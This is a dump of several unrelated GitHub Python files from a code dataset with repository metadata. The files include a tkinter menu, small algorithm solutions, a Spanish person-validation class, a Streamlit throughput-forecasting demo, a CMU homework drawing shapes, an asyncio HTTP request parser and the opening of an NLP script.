S))\nroot.columnconfigure(0, weight=1)\nroot.rowconfigure(0, weight=1)\n\nttk.Label(mainframe, text=\"What do you want to do?\").grid(column=1, row=1)\nttk.Button(mainframe, text=\"Two Set Linear Equations\").grid(column=1, row=2)\nttk.Button(mainframe, text=\"Three Set Linear Equations\").grid(column=1, row=3)\nttk.Button(mainframe, text=\"Exit\", command=root.destroy).grid(column=1, row=4)\n\n\nroot.mainloop()\n","repo_name":"Farnaz03/Linear_Algebra_Calculator","sub_path":"user_int1.py","file_name":"user_int1.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35608247725","text":"def solution(genres, plays):\n info = {}\n plays_genres = []\n ans = []\n for i in range(len(genres)):\n if genres[i] in info.keys():\n info[genres[i]] += plays[i]\n else:\n info[genres[i]] = plays[i]\n\n for i in info.keys():\n plays_genres.append([i, info[i]])\n\n plays_genres.sort(key=lambda x: x[1], reverse=True)\n for i in plays_genres:\n candidate = []\n for j in range(len(genres)):\n if i[0] == genres[j]:\n candidate.append([plays[j], plays.index(plays[j])])\n plays[j]=-1\n candidate.sort(key=lambda x: (-x[0], x[1]))\n ans.append(candidate[0][1])\n if len(candidate) > 1:\n ans.append(candidate[1][1])\n\n return ans\n\n# dict 자료형 sort","repo_name":"quietgong/AlgorithmNote","sub_path":"PROGRAMMERS/베스트앨범.py","file_name":"베스트앨범.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71117704267","text":"class Persona():\n\n def __init__(self, nombre, edad, DNI):\n self.nombre = nombre\n self.edad = edad\n self.DNI = DNI\n\n @property\n def nombre(self):\n return self.__nombre\n\n @nombre.setter\n def nombre(self, nombre):\n nombre_valido = True\n caracteres_no_alfanumericos = ''.join(\n [i for i in nombre if not i.isalpha()])\n if len(caracteres_no_alfanumericos) > 0:\n print(\"Nombre incorrecta, no puede contener caracteres no alfanuméricos\")\n elif len(nombre) == 0:\n print(\"El nombre no puede estar vacio\")\n else:\n self.__nombre = nombre\n\n @property\n def edad(self):\n return self.__edad\n\n @edad.setter\n def edad(self, edad):\n if (int(edad) >= 0 and int(edad) < 150):\n self.__edad = edad\n else:\n print(\"Edad incorrecta, debe ser un número entre 0 y 150\")\n\n @property\n def dni(self):\n return self.__dni\n\n @dni.setter\n def dni(self, dni):\n if self.is_dni_valido(dni):\n self.__dni = dni\n else:\n print(\"DNI invalido, compruebe letra y formato (ejemplo 12123123A)\")\n\n def is_dni_valido(self, dni):\n # from https://discusionesconmipadre.wordpress.com/2010/10/19/comprobar-nif-con-python/\n tabla = \"TRWAGMYFPDXBNJZSQVHLCKE\"\n numeros = \"1234567890\"\n dni_valido = False\n if (len(dni) == 9):\n dni_letraControl = dni[8].upper()\n c = nif[:8]\n if (len(dni_numeros) == len([n for n in dni if n in numeros])):\n if tabla[int(dni_numeros) % 23] == dni_letraControl:\n dni_valido = True\n return dni_valido\n\n def mostrar(self):\n print(f\"{self.nombre}, {self.edad} años, DNI = {self.DNI}\")\n\n def es_mayor_edad(self):\n return self.edad >= 18\n","repo_name":"ander-garcia/theegg_ai","sub_path":"tarea_49/persona.py","file_name":"persona.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37670823978","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom src.utils.data import Dataset\nimport streamlit as st\nfrom src.pages.filter_features import feature_sidebar\nfrom src.pages.filter_scaling import scaling_sidebar\nfrom src.pages.model_selection import model_page\nfrom src.models.model_tf import Model_TF\nfrom src.models.model_sklearn import Model_SKLearn\nfrom src.models.model_stat import Model_Stat\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.svm import SVR\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_log_error\nfrom sklearn.metrics import mean_absolute_percentage_error\nfrom sklearn.metrics import r2_score\nfrom src.models.model_stat import Model_Stat\n\n# For ARIMA (order: dl_avg, ul_avg, dl_peak, ul_peak)\np_ar = {'dl_avg':1, 'ul_avg':1, 'dl_peak':1, 'ul_peak':3}\nd_ar = {'dl_avg':0, 'ul_avg':1, 'dl_peak':0, 'ul_peak':1}\nq_ar = {'dl_avg':1, 'ul_avg':1, 'dl_peak':1, 'ul_peak':3}\n# For SARIMAX (order: dl_avg, ul_avg, dl_peak, ul_peak)\np_sar = {'dl_avg':1, 'ul_avg':1, 'dl_peak':1, 'ul_peak':3}\nd_sar = {'dl_avg':0, 'ul_avg':1, 'dl_peak':0, 'ul_peak':1}\nq_sar = {'dl_avg':1, 'ul_avg':1, 'dl_peak':1, 'ul_peak':3}\nP = {'dl_avg':2, 'ul_avg':2, 'dl_peak':2, 'ul_peak':2}\nD = {'dl_avg':0, 'ul_avg':0, 'dl_peak':0, 'ul_peak':0}\nQ = {'dl_avg':1, 'ul_avg':1, 'dl_peak':1, 'ul_peak':1}\n\ntarget_list = ['dl_avg', 'ul_avg', 'dl_peak', 'ul_peak']\ntarget_dict = {j: i for i, j in enumerate(target_list)}\n\n\ndef demo_page():\n #st.markdown(\"### Upload a csv file for analysis.\") \n #st.write(\"\\n\")\n\n # Code to read a single file \n #uploaded_file = st.sidebar.file_uploader(\"Choose a file\", type = ['csv'])\n df = pd.read_csv('resources/csv/102248_warujaya_mbts.csv')\n #variate, target = st.columns(2)\n #choose the variate type of data\n variate = st.selectbox(\n \"What kind of data you want to use?\",\n ['Univariable', 'Multivariable']\n )\n target = st.selectbox(\n \"What column you want to predict\",\n df.columns\n )\n \n data = Dataset(df, target, variate)\n if data.target_num :\n #initial state\n scale = True \n drop_low = True\n scaling_option = 'Robust'\n percentage = 0.75\n data(variate, \n scale=scale, \n scale_kind=scaling_option, \n train_perc=percentage, \n drop_low=drop_low)\n \n \n #must check if the data multivariable or not\n i = target_dict[target]\n if variate=='Multivariable':\n #LSTM\n model_lstm = Model_TF(data)\n model_lstm.create(['LSTM', 'LSTM'], [8,4], 1000, 'Huber', 'Adam', 'MSE', 0.001, \"mean_squared_error\", True, 5)\n visualize_df = model_lstm.visualize(scaled=True)\n lstm_pred = visualize_df['y_predicted'].values\n lstm_pred = data.transformer.inverse_transform(lstm_pred.reshape(-1, 1))\n #FNN\n model_dense = Model_TF(data)\n model_dense.create(['Dense', 'Dense'], [8,4], 1000, 'Huber', 'Adam', 'MSE', 0.001, \"mean_squared_error\", True, 5)\n visualize_df = model_dense.visualize(scaled=True)\n dense_pred = visualize_df['y_predicted'].values\n \n # RF\n model_rf = Model_SKLearn('Random Forest', data)\n model_rf.fit_and_save(n_estimators= 1400, \n min_samples_split= 2, \n min_samples_leaf= 1, \n max_features= 'auto', \n max_depth= 100, \n bootstrap= True, \n random_state = 42\n )\n visualize_df = model_rf.visualize(scaled=scale)\n rf_pred = visualize_df['y_predicted'].values\n # SVR\n model_svr = Model_SKLearn('Support Vector Regression', data)\n model_svr.fit_and_save(kernel='linear')\n visualize_df = model_svr.visualize(scaled=scale)\n svr_pred = visualize_df['y_predicted'].values\n \n\n # Evaluation\n y_test = data.transformer.inverse_transform(data.y_test.reshape(-1,1)) \n rf_mae = round(mean_absolute_error(y_test, rf_pred),4)\n rf_mse = round(mean_squared_error(y_test, rf_pred),4)\n rf_msle = round(mean_squared_log_error(y_test, rf_pred),4)\n rf_mape = round(mean_absolute_percentage_error(y_test, rf_pred),4)\n rf_r2 = round(r2_score(y_test, rf_pred),4)\n svr_mae = round(mean_absolute_error(y_test, svr_pred),4)\n svr_mse = round(mean_squared_error(y_test, svr_pred),4)\n svr_msle = round(mean_squared_log_error(y_test, svr_pred),4)\n svr_mape = round(mean_absolute_percentage_error(y_test, svr_pred),4)\n svr_r2 = round(r2_score(y_test, svr_pred),4)\n lstm_mae = round(mean_absolute_error(y_test, lstm_pred),4)\n lstm_mse = round(mean_squared_error(y_test, lstm_pred),4)\n lstm_msle = round(mean_squared_log_error(y_test, lstm_pred),4)\n lstm_mape = round(mean_absolute_percentage_error(y_test, lstm_pred),4)\n lstm_r2 = round(r2_score(y_test, lstm_pred),4)\n dense_mae = round(mean_absolute_error(y_test, dense_pred),4)\n dense_mse = round(mean_squared_error(y_test, dense_pred),4)\n dense_msle = round(mean_squared_log_error(y_test, dense_pred),4)\n dense_mape = round(mean_absolute_percentage_error(y_test, dense_pred),4)\n dense_r2 = round(r2_score(y_test, dense_pred),4)\n eval_df = {\n 'Metrics' : ['MAE', 'MSE', 'MSLE', 'MAPE', 'R_Squared'],\n 'RF' : [rf_mae, rf_mse, rf_msle, rf_mape, rf_r2],\n 'SVR' : [svr_mae, svr_mse, svr_msle, svr_mape, svr_r2],\n 'LSTM' : [lstm_mae, lstm_mse, lstm_msle, lstm_mape, lstm_r2],\n 'Dense' : [dense_mae, dense_mse, dense_msle, dense_mape, dense_r2]\n }\n # Plot RF\n fig = plt.figure(figsize=(20, 10))\n rows = 4\n columns = 1\n fig.add_subplot(rows, columns, 1)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(rf_pred, color='red', label='RF Prediction')\n plt.title(\"RF Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)')\n plt.legend(loc='best')\n # Plot SVR\n fig.add_subplot(rows, columns, 2)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(svr_pred, color='red', label='SVR Prediction')\n plt.title(\"SVR Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)') \n plt.legend(loc='best')\n # Plot LSTM\n fig.add_subplot(rows, columns, 3)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(lstm_pred, color='red', label='LSTM Prediction')\n plt.title(\"LSTM Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)') \n plt.legend(loc='best')\n # Plot Dense\n fig.add_subplot(rows, columns, 4)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(dense_pred, color='red', label='Dense Prediction')\n plt.title(\"Dense Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)') \n plt.legend(loc='best')\n\n plt.legend()\n st.pyplot(fig)\n #plt.show()\n st.dataframe(eval_df)\n else:\n # ARIMA\n model_ar = Model_Stat(data)\n model_ar.train('ARIMA', p=p_ar[target], d=d_ar[target], q=q_ar[target])\n visualize_df = model_ar.visualize(scaled=scale)\n ar_pred = visualize_df['y_predicted'].values\n\n #SARIMAX\n model_sar = Model_Stat(data)\n model_sar.train(model='SARIMAX', p=p_ar[target], d=d_ar[target], q=q_ar[target], P=P[target], D=D[target], Q=Q[target])\n visualize_df = model_sar.visualize(scaled=scale)\n sar_pred = visualize_df['y_predicted'].values\n\n #LSTM\n model_lstm = Model_TF(data)\n model_lstm.create(['LSTM', 'LSTM'], [8,4], 1000, 'Huber', 'Adam', 'MSE', 0.001, \"mean_squared_error\", True, 5)\n visualize_df = model_lstm.visualize(scaled=True)\n lstm_pred = visualize_df['y_predicted'].values\n lstm_pred = data.transformer.inverse_transform(lstm_pred.reshape(-1, 1))\n #FNN\n model_dense = Model_TF(data)\n model_dense.create(['Dense', 'Dense'], [8,4], 1000, 'Huber', 'Adam', 'MSE', 0.001, \"mean_squared_error\", True, 5)\n visualize_df = model_dense.visualize(scaled=True)\n dense_pred = visualize_df['y_predicted'].values\n dense_pred = data.transformer.inverse_transform(dense_pred.reshape(-1, 1))\n\n # Evaluation\n y_test = data.transformer.inverse_transform(data.y_test.reshape(-1,1))[:, 0]\n ar_mae = round(mean_absolute_error(y_test, ar_pred),4)\n ar_mse = round(mean_squared_error(y_test, ar_pred),4)\n ar_msle = round(mean_squared_log_error(y_test, ar_pred),4)\n ar_mape = round(mean_absolute_percentage_error(y_test, ar_pred),4)\n ar_r2 = round(r2_score(y_test, ar_pred),4)\n sar_mae = round(mean_absolute_error(y_test, sar_pred),4)\n sar_mse = round(mean_squared_error(y_test, sar_pred),4)\n sar_msle = round(mean_squared_log_error(y_test, sar_pred),4)\n sar_mape = round(mean_absolute_percentage_error(y_test, sar_pred),4)\n sar_r2 = round(r2_score(y_test, sar_pred),4)\n lstm_mae = round(mean_absolute_error(y_test, lstm_pred),4)\n lstm_mse = round(mean_squared_error(y_test, lstm_pred),4)\n lstm_msle = round(mean_squared_log_error(y_test, lstm_pred),4)\n lstm_mape = round(mean_absolute_percentage_error(y_test, lstm_pred),4)\n lstm_r2 = round(r2_score(y_test, lstm_pred),4)\n dense_mae = round(mean_absolute_error(y_test, dense_pred),4)\n dense_mse = round(mean_squared_error(y_test, dense_pred),4)\n dense_msle = round(mean_squared_log_error(y_test, dense_pred),4)\n dense_mape = round(mean_absolute_percentage_error(y_test, dense_pred),4)\n dense_r2 = round(r2_score(y_test, dense_pred),4)\n eval_df = {\n 'Metrics' : ['MAE', 'MSE', 'MSLE', 'MAPE', 'R_Squared'],\n 'ARIMA' : [ar_mae, ar_mse, ar_msle, ar_mape, ar_r2],\n 'SARIMAX' : [sar_mae, sar_mse, sar_msle, sar_mape, sar_r2],\n 'LSTM' : [lstm_mae, lstm_mse, lstm_msle, lstm_mape, lstm_r2],\n 'Dense' : [dense_mae, dense_mse, dense_msle, dense_mape, dense_r2]\n }\n # Plot ARIMA\n fig = plt.figure(figsize=(20, 10))\n rows = 4\n columns = 1\n fig.add_subplot(rows, columns, 1)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(ar_pred, color='red', label='ARIMA Prediction')\n plt.title(\"ARIMA Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (Scaled)')\n plt.legend(loc='best')\n # Plot SARIMAX\n fig.add_subplot(rows, columns, 2)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(sar_pred, color='red', label='SARIMAX Prediction')\n plt.title(\"SARIMAX Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)')\n plt.legend(loc='best')\n # Plot LSTM\n fig.add_subplot(rows, columns, 3)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(lstm_pred, color='red', label='LSTM Prediction')\n plt.title(\"LSTM Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)') \n plt.legend(loc='best')\n # Plot Dense\n fig.add_subplot(rows, columns, 4)\n plt.plot(y_test, color='blue', label='Test Data')\n plt.plot(dense_pred, color='red', label='Dense Prediction')\n plt.title(\"Dense Predictions for {}\".format(target))\n plt.xlabel('Hours')\n plt.ylabel('Throughput (kbps)') \n plt.legend(loc='best')\n\n plt.legend()\n st.pyplot(fig)\n st.dataframe(eval_df)\n #plt.show()\n \n else:\n st.error(\"Target is not numeric columns\")\n","repo_name":"DanendraAHP/throughput_prediction_using_dl_and_ml","sub_path":"src/pages/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":13116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31196405716","text":"class Solution:\n def findDisappearedNumbers(self, nums: List[int]) -> List[int]:\n # use two passes thru the array and a clever\n # 'flip to -1' technique based on index/value relationship.\n #\n # 1) first pass: for every value, flip the corresponding\n # value at index (abs(val) - 1) to -1\n # if not already negative.\n # --> NOTE: need the abs() b/c the\n # val could have already been flipped negative by a\n # value earlier in the array.\n #\n # 2) second pass: for every value, if it is still positive,\n # then the value at (index + 1) is missing from the array.\n # store a running array of all missing values and return it\n # after the second pass.\n #\n # Runtime: O(N) b/c two passes thru array still required.\n # Space used: O(1) b/c we assume returned list does\n # not count as extra space.\n\n\n # first pass\n for num in nums:\n corresponding_index = abs(num) - 1\n if nums[corresponding_index] > 0:\n nums[corresponding_index] *= -1\n \n # second pass\n return_list = []\n for index, num in enumerate(nums):\n if num > 0:\n return_list.append(index + 1)\n \n return return_list\n\n\n\n\n\n","repo_name":"ccheng3/Leetcode_Box","sub_path":"find_all_numbers_disappeared_in_an_array.py","file_name":"find_all_numbers_disappeared_in_an_array.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17208155455","text":"\"\"\"\r\nFunction counts a unique substrings in string.\r\nWorks with hash and set.\r\n\r\nExample:\r\nрара - 6 unique substrings\r\n\r\nрар\r\nра\r\nар\r\nара\r\nр\r\nа\r\n\"\"\"\r\nimport hashlib\r\n\r\n\r\ndef sub_str_searcher(my_str):\r\n sub_str_set = set()\r\n for i in range(len(my_str)):\r\n if i == 0:\r\n str_slice = my_str[i+1:-1]\r\n else:\r\n str_slice = my_str[(i+1):]\r\n sub_str = my_str[i]\r\n sub_str_set.add(hashlib.md5(sub_str.encode()).hexdigest())\r\n for n in range(len(str_slice)):\r\n sub_str += str_slice[n]\r\n sub_str_set.add(hashlib.md5(sub_str.encode()).hexdigest())\r\n return f'{len(sub_str_set)}'\r\n\r\n\r\ntest_str = 'papa'\r\nprint(sub_str_searcher(test_str))\r\n","repo_name":"TimofeiN/local","sub_path":"python_all/python_samples/algorithms/unique_substrings.py","file_name":"unique_substrings.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3503966595","text":"#################################################\r\n# hw4.py\r\n# name: David Chung\r\n# andrew id: dichung\r\n# section: A\r\n#################################################\r\n\r\nimport cs112_n22_week2_linter\r\nimport math, string\r\n\r\nfrom cmu_112_graphics import *\r\n\r\n#################################################\r\n# Helper functions\r\n#################################################\r\n\r\ndef almostEqual(d1, d2, epsilon=10**-7):\r\n # note: use math.isclose() outside 15-112 with Python version 3.5 or later\r\n return (abs(d2 - d1) < epsilon)\r\n\r\nimport decimal\r\ndef roundHalfUp(d):\r\n # Round to nearest with ties going away from zero.\r\n rounding = decimal.ROUND_HALF_UP\r\n # See other rounding options here:\r\n # https://docs.python.org/3/library/decimal.html#rounding-modes\r\n return int(decimal.Decimal(d).to_integral_value(rounding=rounding))\r\n\r\ndef rgbString(red, green, blue):\r\n return f'#{red:02x}{green:02x}{blue:02x}'\r\n\r\n# draw eyes for robot\r\ndef drawEyes(x1, y1, radius, canvas):\r\n\r\n # outer eye\r\n dia = 2 * radius\r\n canvas.create_oval(x1, y1, x1 + dia, y1 + dia, fill = \"#ebe354\")\r\n \r\n # inner eye\r\n x1 = x1 + (radius * 0.25) # offset x1 and y1 \r\n #so that you can make smaller circle\r\n y1 = y1 + (radius * 0.25)\r\n radius *= 0.75\r\n dia = 2 * radius\r\n canvas.create_oval(x1, y1, x1 + dia, y1 + dia, fill = \"yellow\")\r\n\r\n # draw reflection in eye\r\n x1 += radius / 2\r\n y1 += radius / 2\r\n radius *= 0.2\r\n dia = 2 * radius\r\n canvas.create_oval(x1, y1, x1 + dia, y1 + dia, fill = \"white\")\r\n\r\n# draws triangle for qatar flag\r\ndef drawTriangle(x, y, size, canvas):\r\n y2 = y + size\r\n x3 = x + size\r\n y3 = y + (size/2)\r\n canvas.create_polygon(x, y, x, y2, x3, y3, fill = \"white\")\r\n\r\n\r\n\r\n\r\n#################################################\r\n# hw4-standard-functions\r\n#################################################\r\n\r\ndef drawPattern1(canvas, width, height, points):\r\n xinc = width/points\r\n yinc = height/points\r\n for increment in range(0, points + 1):\r\n x1 = xinc * increment\r\n y1 = 0\r\n x2 = width\r\n y2 = height - (yinc * increment)\r\n canvas.create_line(x1, y1, x2, y2)\r\n #same thing but just flip horizontally\r\n x2 = 0\r\n y2 = yinc * increment\r\n canvas.create_line(x1, y1, x2, y2)\r\n # flip everything we drew vertically\r\n x1 = width - (xinc * increment)\r\n y1 = height\r\n canvas.create_line(x1, y1, x2, y2)\r\n # flip horizontally\r\n x2 = width\r\n y2 = height - (yinc * increment)\r\n canvas.create_line(x1, y1, x2, y2)\r\n return 42\r\n\r\ndef drawNiceRobot(canvas, width, height):\r\n margin = min(width, height)/10\r\n topMargin = margin*5 # creates more space at the top\r\n\r\n # draw face background\r\n canvas.create_rectangle(margin, topMargin, width - margin, \r\n height - margin, fill = \"#b6b6b8\")\r\n\r\n # draw mouth background \r\n # mouth will be drawn a third from the bottom\r\n yOffset = height * (0.75)\r\n margin = margin/2\r\n canvas.create_rectangle(margin, yOffset, width - margin, \r\n height - margin, fill = \"#5e5e5e\")\r\n\r\n #draw mustache\r\n mustx1 = margin\r\n musty1 = yOffset\r\n mustx2 = margin/2\r\n musty2 = yOffset * (1.15)\r\n canvas.create_polygon(# mustache goes above mouth\r\n mustx1, musty1,\r\n width - mustx1, musty1,\r\n width - mustx2, musty2,\r\n mustx2, musty2, # make bottom wider\r\n fill = \"black\")\r\n\r\n\r\n # draw mouth\r\n mouthx1 = mustx1 * 2\r\n mouthy1 = (musty1 * 1.15) + 5 # below mustache\r\n mouthx2 = width - (margin * 2)\r\n mouthy2 = height - (margin * 2)\r\n\r\n canvas.create_oval(\r\n mouthx1, mouthy1,\r\n mouthx2, mouthy2,\r\n fill = \"white\"\r\n )\r\n\r\n # draw teeth line on mouth\r\n teethx1 = mouthx1\r\n teethy = mouthy1 + (mouthy2 - mouthy1)/2 #mouth halfway point\r\n teethx2 = width - mouthx1\r\n canvas.create_line(teethx1, teethy, teethx2, teethy)\r\n \r\n #draw eyes\r\n size = margin # set size of eyes to margin length\r\n drawEyes(margin * 4, yOffset - (margin * 4), size* 2, canvas)\r\n drawEyes(width - 2 * (margin * 4), yOffset - (margin * 4), size* 2, canvas)\r\n # width - 2 * margin * 4 because x1,y1 of draw \r\n # eyes specifies upper left corner of eyes\r\n return 42\r\n\r\ndef drawFlagOfQatar(canvas, x0, y0, x1, y1):\r\n # Replace all of this with your drawing of the flag of Qatar\r\n # Also: remember to add the title \"Qatar\" centered above the flag!\r\n\r\n # find width and height of flag\r\n\r\n width = x1 - x0\r\n height = y1 - y0\r\n\r\n # create flag background\r\n canvas.create_rectangle(x0, y0, x1, y1, fill='red', outline = \"red\")\r\n font = 'Arial 20 bold' if (x1 - x0 > 150) else 'Arial 12 bold'\r\n\r\n # write qatar\r\n canvas.create_text((x0+x1)/2, y0 - 20,\r\n text='Qatar',\r\n font=font)\r\n\r\n # create white triangles\r\n\r\n for triangle in range(9):\r\n size = height / 9 \r\n x = x0 + (width / 3)\r\n y = y0 + (size * triangle)\r\n drawTriangle(x, y, size, canvas)\r\n\r\n # color remainder of flag white\r\n canvas.create_rectangle(x0, y0, x0 + (width/3), y1, fill = \"white\", \r\n outline = \"white\")\r\n\r\n#################################################\r\n# hw4-bonus-functions\r\n# these are optional\r\n#################################################\r\n\r\n\r\ndef drawPattern2(canvas, width, height, points):\r\n return 42\r\n\r\ndef drawFancyWheels(canvas, width, height, rows, cols):\r\n return 42\r\n\r\n\r\n#################################################\r\n# Test Functions\r\n#################################################\r\n\r\ndef testDrawPattern1(app, canvas):\r\n drawPattern1(canvas, app.width, app.height, app.points)\r\n canvas.create_text(app.width/2, app.height-10, \r\n text=('testing drawPattern1' + \r\n f'(canvas, {app.width}, {app.height}, {app.points})'))\r\n\r\ndef testDrawPattern2(app, canvas):\r\n drawPattern2(canvas, app.width, app.height, app.points)\r\n canvas.create_text(app.width/2, app.height-10, \r\n text=('testing drawPattern2' + \r\n f'(canvas, {app.width}, {app.height}, {app.points})'))\r\n\r\ndef testDrawFlagOfQatar(app, canvas):\r\n canvas.create_rectangle(0, 0, app.width, app.height, fill='lightYellow')\r\n drawFlagOfQatar(canvas, 50, 125, 350, 275)\r\n drawFlagOfQatar(canvas, 425, 100, 575, 200)\r\n drawFlagOfQatar(canvas, 450, 275, 550, 325)\r\n canvas.create_text(app.width/2, app.height-20, \r\n text=\"Testing drawFlagOfQatar\")\r\n canvas.create_text(app.width/2, app.height-10, \r\n text=\"This does not need to resize properly!\")\r\n\r\n\r\ndef testDrawNiceRobot(app, canvas):\r\n drawNiceRobot(canvas, app.width, app.height)\r\n canvas.create_text(app.width/2, app.height-20, \r\n text=('Testing drawNiceRobot' +\r\n f'(canvas, {app.width}, {app.height})'))\r\n canvas.create_text(app.width/2, app.height-10, \r\n text=f'''Comment out these print lines if they mess up your art!''')\r\n\r\ndef testDrawFancyWheels(app, canvas, rows, cols):\r\n drawFancyWheels(canvas, app.width, app.height, rows, cols)\r\n canvas.create_text(app.width/2, app.height-10, \r\n text=('testing drawFancyWheels' + \r\n f'(canvas, {app.width}, {app.height}, {rows}, {cols})'))\r\n\r\n\r\ndef drawSplashScreen(app, canvas):\r\n text = f\"\"\"\r\nPress the number key for the \r\nexercise you would like to test!\r\n\r\n1. drawPattern1 ({app.points} points)\r\n2. drawNiceRobot\r\n3. drawFlagOfQatar\r\n\r\n4. Bonus drawPattern2 ({app.points} points)\r\n5. Bonus drawFancyWheels (1x1)\r\n6. Bonus drawFancyWheels (4x6)\r\n\r\n\r\nYou can press the up or down arrows to change\r\nthe number of points for drawPattern1\r\nand drawPattern2 between 3 and 20\r\n\"\"\"\r\n\r\n textSize = min(app.width,app.height) // 40\r\n canvas.create_text(app.width/2, app.height/2, text=text,\r\n font=f'Arial {textSize} bold')\r\n\r\n\r\ndef appStarted(app):\r\n app.lastKeyPressed = None\r\n app.points = 5\r\n app.timerDelay = 10**10\r\n\r\ndef keyPressed(app, event):\r\n if event.key == \"Up\":\r\n app.points = min(20, app.points+1)\r\n print(f\"Increasing points to {app.points}\")\r\n if app.points >= 20: print(\"Maximum allowed points!\")\r\n elif event.key == \"Down\":\r\n app.points = max(3, app.points-1)\r\n print(f\"Decreasing points to {app.points}\")\r\n if app.points <= 3: print(\"Minimum allowed points!\")\r\n else:\r\n app.lastKeyPressed = event.key\r\n\r\n\r\n\r\n\r\n\r\ndef redrawAll(app, canvas):\r\n if app.lastKeyPressed == \"1\":\r\n testDrawPattern1(app, canvas)\r\n elif app.lastKeyPressed == \"2\":\r\n testDrawNiceRobot(app, canvas)\r\n elif app.lastKeyPressed == \"3\":\r\n testDrawFlagOfQatar(app, canvas)\r\n elif app.lastKeyPressed == \"4\":\r\n testDrawPattern2(app, canvas)\r\n elif app.lastKeyPressed == \"5\":\r\n testDrawFancyWheels(app, canvas, 1, 1)\r\n elif app.lastKeyPressed == \"6\":\r\n testDrawFancyWheels(app, canvas, 4, 6)\r\n else:\r\n drawSplashScreen(app, canvas)\r\n\r\n#################################################\r\n# main\r\n#################################################\r\n\r\ndef main():\r\n cs112_n22_week2_linter.lint()\r\n runApp(width=600, height=600)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"davidchung29/CMU-Summer-2022","sub_path":"cis 15-112/hw/hw4/hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":9509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39503321909","text":"import asyncio\nimport urllib\n\nclass Request():\n def __init__(self, reader):\n self.reader = reader\n self.header = {}\n\n async def init(self):\n tmp = \"\"\n while True:\n data = await self.reader.readline()\n if data == b'\\r\\n':\n break\n if data == b'':\n break\n tmp = tmp + data.decode()\n message = tmp.split(\"\\r\\n\")[0:-1]\n if len(message) == 0:\n raise Exception(\"empty\")\n\n tmp = message[0].split(\" \")\n self.method = tmp[0]\n self.url = urllib.parse.unquote(tmp[1])\n if self.url.endswith('/'):\n self.url = self.url[:-1]\n self.protocol = tmp[2]\n\n for header in message[1: ]:\n pos = header.find(\":\")\n key = header[:pos].strip().lower()\n value = header[pos + 1:].strip()\n self.header[key] = value\n\n def get_header(self, key):\n if key.lower() in self.header:\n return self.header[key]\n return None\n\n","repo_name":"Wycers/Iris","sub_path":"iris/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"976829961","text":"import pandas as pd\r\nimport numpy as np\r\nimport os\r\nimport nltk\r\n#nltk.download('stopwords')\r\nimport random\r\nfrom nltk.classify.scikitlearn import SklearnClassifier\r\nimport pickle\r\nfrom sklearn.naive_bayes import MultinomialNB, BernoulliNB\r\nfrom sklearn.linear_model import LogisticRegression, SGDClassifier\r\nfrom sklearn.svm import SVC, LinearSVC, NuSVC\r\nfrom nltk.classify import ClassifierI\r\nfrom statistics import mode\r\nfrom nltk.tokenize import word_tokenize\r\nimport re\r\nfrom nltk.corpus import stopwords\r\nimport spacy\r\nfrom spacy import displacy\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nimport gensim\r\nfrom gensim.models.word2vec import Word2Vec\r\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\r\nLabeledSentence = gensim.models.doc2vec.TaggedDocument\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\n\r\nfrom tqdm import tqdm\r\nfrom nltk.tokenize import word_tokenize\r\nimport torch\r\ntqdm.pandas(desc=\"progress-bar\")\r\n\r\n\r\nnlp = spacy.load(\"en_core_web_sm\")\r\n\r\nnltk.download('averaged_perceptron_tagger')\r\n\r\n#os.chdir(\"C://Users/arimo/OneDrive/Documents/Ariel/Education/ESSEC Centrale/Cours/CentraleSupelec/Elective Classes/NLP/Assignments/Assignment2/Ressources/exercise2/data\") # Directory de Ariel\r\nos.chdir(\"C://Users/33652/Documents/cours_centrale/Second_semestre/nlp/NLP_2/exercise2/data\") # Directory de Raphaël\r\n#os.chdir(\"/Users/michaelallouche/Google Drive/Ecoles/CentraleSupelec/Data Science Electives/Natural Language Processing/Assignment 2/exercise2/data\") # Directory de 